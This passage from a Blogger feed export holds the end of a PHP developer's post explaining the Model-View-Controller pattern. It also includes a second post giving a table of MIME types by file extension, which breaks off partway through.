application, its domain logic. The goal of MVC is to make the model independent of the view and controller, which together form the user interface of the application. A model could conceivably be used with multiple different view-controller interface pairings. Since the model must be independent, it cannot refer to either the view or controller portions of the application. The model may not hold direct instance variables that refer to the view or the controller. It passively supplies its services and data to the other layers of the application. In fact, there is a variation on the model layer typically used with Web applications, called a passive model. With a passive model, the objects used in the model are completely unaware of being used in the MVC triad. The controller notifies the view when it executes an operation on the model that will require the view to be updated. In another version more traditional to MVC, the active model, model classes define a change notification mechanism, typically using the Observer pattern. This allows unrelated view and controller components to be notified when the model has changed. Since these components register themselves with the model, and the model has no knowledge of any specific view or controller, this does not break the independence of the model. This notification mechanism is behind the immediate updating that is the hallmark of a MVC GUI application. The passive model is commonly used in Web MVC. The strict request/response cycle of HTTP does not require the immediacy of an active model. The view is always rendered anew on every cycle, regardless of changes. This may be especially true in PHP, where no state is retained between requests.&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size: 14pt; color: rgb(211, 35, 42);"&gt;The View&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size: 14pt; color: black;"&gt;The view obtains data from the model and presents it to the user. It represents the output of the application. The view can be implemented using a variety of techniques, including templates, or a transformative method like XSL. One major misconception I see in beginner questions about MVC is that the view must somehow remain separate from the model. This line of thinking causes frustration with MVC. Programmers end up creating controllers that shuffle data from the model into the view. This is unnecessary. The view usually has a direct dependency on the model. If you change the model, you must also change the view. Because the view depends on the model, the view can generally have free access to the model. Well, almost free access. Views are read-only representations of the state of the model. They should not attempt to modify the model; this would be a violation of the MVC separation. Attempting to modify the model in the view would indicate a mixing of controller code into the view layer. A far more common and insidious violation of separations occurs when domain model code leaks into the view. For example, consider the requirement “Show negative balances in red.” At first glance, this appears to be strictly an output requirement and a test might be placed into the view in roughly this form: if balance &lt;&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;      &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size: 14pt; color: black;"&gt;Can you spot the violation of separations? Upon further analysis, it turns out that the real requirement is “show overdrawn balances in red.” The definition of overdrawn, here &lt;/span&gt;&lt;span style="font-size: 14pt; color: rgb(0, 120, 0);"&gt;balance &lt;&gt;&lt;span style="font-size: 14pt; color: black;"&gt;, belongs in the domain model, not in the view. In this way, changes to the definition of ’overdrawn’ can be made independently of decisions about how to display the status of being overdrawn.&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size: 14pt; color: rgb(211, 35, 42);"&gt;The Controller&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size: 14pt; color: black;"&gt;The controller receives and translates input to requests on the model or view. Controllers are typically responsible for calling methods on the model that change the state of the model. In an active model, this state change is then reflected in the view via the change propagation mechanism. A passive model shifts more responsibility into the controller, as the controller must notify the views when they should update. In traditional Smalltalk MVC, views and controllers are tightly coupled. Each view instance is associated with a single unique controller instance, and vice versa. The controller is considered a strategy that the view uses for input. The view is also responsible for creating new views and controllers. Modern Web usage of MVC shifts even more of the traditional responsibilities of the view to the controller. The controller becomes responsible for creating and selecting views, and the view tends to lose responsibility for its controller. Sometimes, responsibility for creating and selecting views is delegated to a specific object; this is known as the Application Controller pattern for Web MVC, or the View Handler pattern for GUI MVC. You can see that, as with the view, the controller also has a direct dependency on the model. Changes to the model layer will often trigger corresponding changes in the controller layer. Of course, the reverse should not be true. Unfortunately, as with the view, it is easy for domain logic to leak out of the domain layer and into the controller. This is especially true when the domain model is considered to be passive, verb-deprived data. This is a big challenge for modern MVC frameworks for the Web. The controller can be an inviting place for quick and dirty unstructured code.&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-4630676866600672182?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/4630676866600672182/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=4630676866600672182' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/4630676866600672182'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/4630676866600672182'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/08/model-view-controller.html' title='Model View Controller'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-4338389858728966964</id><published>2007-08-16T20:35:00.000-07:00</published><updated>2007-08-16T20:38:13.581-07:00</updated><title type='text'>Mime Types</title><content type='html'>&lt;h2&gt;MIME Types By Content Type&lt;/h2&gt; &lt;table class="ex" border="1" width="100%"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;th align="left"&gt;Type/sub-type&lt;/th&gt;     &lt;th align="left"&gt;Extension&lt;/th&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/envoy&lt;/td&gt;     &lt;td&gt;evy&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/fractals&lt;/td&gt;     &lt;td&gt;fif&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/futuresplash&lt;/td&gt;     &lt;td&gt;spl&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/hta&lt;/td&gt;     &lt;td&gt;hta&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/internet-property-stream&lt;/td&gt;     &lt;td&gt;acx&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/mac-binhex40&lt;/td&gt;     &lt;td&gt;hqx&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/msword&lt;/td&gt;     &lt;td&gt;doc&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/msword&lt;/td&gt;     &lt;td&gt;dot&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;     &lt;td&gt;*&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;     &lt;td&gt;bin&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;     &lt;td&gt;class&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;     &lt;td&gt;dms&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;     &lt;td&gt;exe&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;     &lt;td&gt;lha&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/octet-stream&lt;/td&gt;     &lt;td&gt;lzh&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/oda&lt;/td&gt;     &lt;td&gt;oda&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/olescript&lt;/td&gt;     &lt;td&gt;axs&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/pdf&lt;/td&gt;     &lt;td&gt;pdf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/pics-rules&lt;/td&gt;     &lt;td&gt;prf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/pkcs10&lt;/td&gt;     &lt;td&gt;p10&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/pkix-crl&lt;/td&gt;     &lt;td&gt;crl&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/postscript&lt;/td&gt;     &lt;td&gt;ai&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/postscript&lt;/td&gt;     &lt;td&gt;eps&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/postscript&lt;/td&gt;     &lt;td&gt;ps&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/rtf&lt;/td&gt;     &lt;td&gt;rtf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/set-payment-initiation&lt;/td&gt;     &lt;td&gt;setpay&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/set-registration-initiation&lt;/td&gt;     &lt;td&gt;setreg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-excel&lt;/td&gt;     &lt;td&gt;xla&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-excel&lt;/td&gt;     &lt;td&gt;xlc&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-excel&lt;/td&gt;     &lt;td&gt;xlm&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-excel&lt;/td&gt;     &lt;td&gt;xls&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-excel&lt;/td&gt;     &lt;td&gt;xlt&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-excel&lt;/td&gt;     &lt;td&gt;xlw&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-outlook&lt;/td&gt;     &lt;td&gt;msg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-pkicertstore&lt;/td&gt;     &lt;td&gt;sst&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-pkiseccat&lt;/td&gt;     &lt;td&gt;cat&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-pkistl&lt;/td&gt;     &lt;td&gt;stl&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-powerpoint&lt;/td&gt;     &lt;td&gt;pot&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-powerpoint&lt;/td&gt;     &lt;td&gt;pps&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-powerpoint&lt;/td&gt;     &lt;td&gt;ppt&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-project&lt;/td&gt;     &lt;td&gt;mpp&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-works&lt;/td&gt;     &lt;td&gt;wcm&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-works&lt;/td&gt;     &lt;td&gt;wdb&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-works&lt;/td&gt;     &lt;td&gt;wks&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/vnd.ms-works&lt;/td&gt;     &lt;td&gt;wps&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/winhlp&lt;/td&gt;     &lt;td&gt;hlp&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-bcpio&lt;/td&gt;     &lt;td&gt;bcpio&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-cdf&lt;/td&gt;     &lt;td&gt;cdf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-compress&lt;/td&gt;     &lt;td&gt;z&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-compressed&lt;/td&gt;     &lt;td&gt;tgz&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-cpio&lt;/td&gt;     &lt;td&gt;cpio&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-csh&lt;/td&gt;     &lt;td&gt;csh&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-director&lt;/td&gt;     &lt;td&gt;dcr&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-director&lt;/td&gt;     &lt;td&gt;dir&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-director&lt;/td&gt;     &lt;td&gt;dxr&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-dvi&lt;/td&gt;     &lt;td&gt;dvi&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-gtar&lt;/td&gt;     &lt;td&gt;gtar&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-gzip&lt;/td&gt;     &lt;td&gt;gz&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-hdf&lt;/td&gt;     &lt;td&gt;hdf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-internet-signup&lt;/td&gt;     &lt;td&gt;ins&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-internet-signup&lt;/td&gt;     &lt;td&gt;isp&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-iphone&lt;/td&gt;     &lt;td&gt;iii&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-javascript&lt;/td&gt;     &lt;td&gt;js&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-latex&lt;/td&gt;     &lt;td&gt;latex&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-msaccess&lt;/td&gt;     &lt;td&gt;mdb&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-mscardfile&lt;/td&gt;     &lt;td&gt;crd&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-msclip&lt;/td&gt;     &lt;td&gt;clp&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-msdownload&lt;/td&gt;     &lt;td&gt;dll&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-msmediaview&lt;/td&gt;     &lt;td&gt;m13&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-msmediaview&lt;/td&gt;     &lt;td&gt;m14&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-msmediaview&lt;/td&gt;     &lt;td&gt;mvb&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-msmetafile&lt;/td&gt;     &lt;td&gt;wmf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-msmoney&lt;/td&gt;     &lt;td&gt;mny&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-mspublisher&lt;/td&gt;     &lt;td&gt;pub&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-msschedule&lt;/td&gt;     &lt;td&gt;scd&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-msterminal&lt;/td&gt;     &lt;td&gt;trm&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-mswrite&lt;/td&gt;     &lt;td&gt;wri&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-netcdf&lt;/td&gt;     &lt;td&gt;cdf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-netcdf&lt;/td&gt;     &lt;td&gt;nc&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-perfmon&lt;/td&gt;     &lt;td&gt;pma&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-perfmon&lt;/td&gt;     &lt;td&gt;pmc&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-perfmon&lt;/td&gt;     &lt;td&gt;pml&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-perfmon&lt;/td&gt;     &lt;td&gt;pmr&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-perfmon&lt;/td&gt;     &lt;td&gt;pmw&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-pkcs12&lt;/td&gt;     &lt;td&gt;p12&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-pkcs12&lt;/td&gt;     &lt;td&gt;pfx&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-pkcs7-certificates&lt;/td&gt;     &lt;td&gt;p7b&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-pkcs7-certificates&lt;/td&gt;     &lt;td&gt;spc&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-pkcs7-certreqresp&lt;/td&gt;     &lt;td&gt;p7r&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-pkcs7-mime&lt;/td&gt;     &lt;td&gt;p7c&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-pkcs7-mime&lt;/td&gt;     &lt;td&gt;p7m&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-pkcs7-signature&lt;/td&gt;     &lt;td&gt;p7s&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-sh&lt;/td&gt;     &lt;td&gt;sh&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-shar&lt;/td&gt;     &lt;td&gt;shar&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-shockwave-flash&lt;/td&gt;     &lt;td&gt;swf&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-stuffit&lt;/td&gt;     &lt;td&gt;sit&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-sv4cpio&lt;/td&gt;     &lt;td&gt;sv4cpio&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-sv4crc&lt;/td&gt;     &lt;td&gt;sv4crc&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-tar&lt;/td&gt;     &lt;td&gt;tar&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-tcl&lt;/td&gt;     &lt;td&gt;tcl&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-tex&lt;/td&gt;     &lt;td&gt;tex&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-texinfo&lt;/td&gt;     &lt;td&gt;texi&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-texinfo&lt;/td&gt;     &lt;td&gt;texinfo&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-troff&lt;/td&gt;     &lt;td&gt;roff&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-troff&lt;/td&gt;     &lt;td&gt;t&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-troff&lt;/td&gt;     &lt;td&gt;tr&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-troff-man&lt;/td&gt;     &lt;td&gt;man&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-troff-me&lt;/td&gt;     &lt;td&gt;me&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-troff-ms&lt;/td&gt;     &lt;td&gt;ms&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-ustar&lt;/td&gt;     &lt;td&gt;ustar&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-wais-source&lt;/td&gt;     &lt;td&gt;src&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-x509-ca-cert&lt;/td&gt;     &lt;td&gt;cer&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-x509-ca-cert&lt;/td&gt;     &lt;td&gt;crt&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/x-x509-ca-cert&lt;/td&gt;     &lt;td&gt;der&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/ynd.ms-pkipko&lt;/td&gt;     &lt;td&gt;pko&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;application/zip&lt;/td&gt;     &lt;td&gt;zip&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/basic&lt;/td&gt;     &lt;td&gt;au&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/basic&lt;/td&gt;     &lt;td&gt;snd&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/mid&lt;/td&gt;     &lt;td&gt;mid&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/mid&lt;/td&gt;     &lt;td&gt;rmi&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/mpeg&lt;/td&gt;     &lt;td&gt;mp3&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/x-aiff&lt;/td&gt;     &lt;td&gt;aif&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/x-aiff&lt;/td&gt;     &lt;td&gt;aifc&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/x-aiff&lt;/td&gt;     &lt;td&gt;aiff&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/x-mpegurl&lt;/td&gt;     &lt;td&gt;m3u&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/x-pn-realaudio&lt;/td&gt;     &lt;td&gt;ra&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/x-pn-realaudio&lt;/td&gt;     &lt;td&gt;ram&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;audio/x-wav&lt;/td&gt;     &lt;td&gt;wav&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/bmp&lt;/td&gt;     &lt;td&gt;bmp&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/cis-cod&lt;/td&gt;     &lt;td&gt;cod&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/gif&lt;/td&gt;     &lt;td&gt;gif&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/ief&lt;/td&gt;     &lt;td&gt;ief&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/jpeg&lt;/td&gt;     &lt;td&gt;jpe&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/jpeg&lt;/td&gt;     &lt;td&gt;jpeg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/jpeg&lt;/td&gt;     &lt;td&gt;jpg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/pipeg&lt;/td&gt;     &lt;td&gt;jfif&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/svg+xml&lt;/td&gt;     &lt;td&gt;svg&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/tiff&lt;/td&gt;     &lt;td&gt;tif&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/tiff&lt;/td&gt;     &lt;td&gt;tiff&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/x-cmu-raster&lt;/td&gt;     &lt;td&gt;ras&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/x-cmx&lt;/td&gt;     &lt;td&gt;cmx&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/x-icon&lt;/td&gt;     &lt;td&gt;ico&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/x-portable-anymap&lt;/td&gt;     &lt;td&gt;pnm&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/x-portable-bitmap&lt;/td&gt;     &lt;td&gt;pbm&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/x-portable-graymap&lt;/td&gt;     &lt;td&gt;pgm&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/x-portable-pixmap&lt;/td&gt;     &lt;td&gt;ppm&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/x-rgb&lt;/td&gt;     &lt;td&gt;rgb&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/x-xbitmap&lt;/td&gt;     &lt;td&gt;xbm&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/x-xpixmap&lt;/td&gt;     &lt;td&gt;xpm&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;image/x-xwindowdump&lt;/td&gt;     &lt;td&gt;xwd&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;message/rfc822&lt;/td&gt;     &lt;td&gt;mht&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;message/rfc822&lt;/td&gt;     &lt;td&gt;mhtml&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;message/rfc822&lt;/td&gt;     &lt;td&gt;nws&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/css&lt;/td&gt;     &lt;td&gt;css&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/h323&lt;/td&gt;     &lt;td&gt;323&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/html&lt;/td&gt;     &lt;td&gt;htm&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/html&lt;/td&gt;     &lt;td&gt;html&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/html&lt;/td&gt;     &lt;td&gt;stm&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/iuls&lt;/td&gt;     &lt;td&gt;uls&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/plain&lt;/td&gt;     &lt;td&gt;bas&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/plain&lt;/td&gt;     &lt;td&gt;c&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/plain&lt;/td&gt;     &lt;td&gt;h&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/plain&lt;/td&gt;     &lt;td&gt;txt&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/richtext&lt;/td&gt;     &lt;td&gt;rtx&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/scriptlet&lt;/td&gt;     &lt;td&gt;sct&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;text/tab-separated-values&lt;/td&gt;     &lt;td&gt;tsv&lt;/td&gt;   &lt;/tr&gt;   